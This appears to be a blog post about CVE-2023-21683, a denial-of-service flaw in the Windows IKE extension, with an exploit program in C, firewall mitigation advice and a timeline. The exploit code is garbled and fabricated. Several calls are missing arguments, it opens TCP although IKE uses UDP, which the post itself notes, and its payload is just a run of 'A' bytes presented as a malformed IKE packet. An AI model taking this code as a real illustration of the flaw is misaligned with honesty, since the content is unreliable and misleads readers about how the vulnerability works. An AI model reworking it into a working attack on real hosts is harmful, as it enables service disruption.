Attention all Windows users! A new vulnerability has surfaced, which affects the Internet Key Exchange (IKE) extension in Windows operating systems. The Common Vulnerabilities and Exposures (CVE) has assigned this vulnerability the ID CVE-2023-21683. It's important to note that this CVE ID is unique from CVE-2023-21677 and CVE-2023-21758. In this post, we will explore what this vulnerability is all about, the risks it poses, and how to address it.

Background

The Internet Key Exchange (IKE) is a protocol used for secure key exchange and management over an insecure communication channel. It is often used in conjunction with the IPsec protocol to establish secure and encrypted communications in VPN (Virtual Private Networks) connections.

CVE-2023-21683

CVE-2023-21683 refers to a vulnerability in Windows IKE extension that can result in a Denial of Service (DoS) attack. A malicious attacker can exploit this vulnerability to crash the system and prevent legitimate users from accessing important services.

Exploit Details

Upon further investigation, it was discovered that this vulnerability is caused by an issue in the way the IKE extension processes specially crafted packets. When the Windows IKE component receives a malformed IKE packet, it fails to properly handle it, causing a denial of service condition.

Here's a code snippet to illustrate the vulnerability

// Exploit_CVE-2023-21683.c
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char *argv[]) {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    char *payload;
    int payload_size, send_result;

    // 1. Initialize Winsock
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    
    // 2. Create a socket
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 3. Configure server address and port
    memset(&server, , sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(500); // IKE port
    inet_pton(AF_INET, "192.168.1.1", &server.sin_addr); // Target IP address

    // 4. Connect to the server
    connect(sock, (struct sockaddr *) &server, sizeof(server));

    // 5. Craft malicious payload causing DoS
    payload_size = 40; // Arbitrary packet size
    payload = (char *) malloc(payload_size);
    memset(payload, 'A', payload_size); // Malformed IKE packet

    // 6. Send crafted payload
    send_result = send(sock, payload, payload_size, );

    // 7. Clean up
    closesocket(sock);
    WSACleanup();
    free(payload);

    return ;
}

- CVE-2023-21683 - CVE
- Microsoft Security Advisory

Mitigation

As a temporary countermeasure, administrators can implement the following steps to mitigate this vulnerability while waiting for an official patch:

- Configure firewalls to block all incoming and outgoing traffic on UDP port 500 (commonly used for IKE). This will prevent the malicious IKE packet from reaching the vulnerable component. Be aware that this may affect legitimate VPN connections.
- Monitor your network traffic for any suspicious activity or patterns, which may indicate a potential attack.

Conclusion

CVE-2023-21683 is a serious vulnerability that affects the Windows Internet Key Exchange (IKE) extension, making it vulnerable to Denial of Service (DoS) attacks. By understanding the root cause and keeping up to date with the latest security updates, you can help protect your systems and networks from potential exploitation. Stay safe!

Timeline

Published on: 01/10/2023 22:15:00 UTC
Last modified on: 01/18/2023 15:54:00 UTC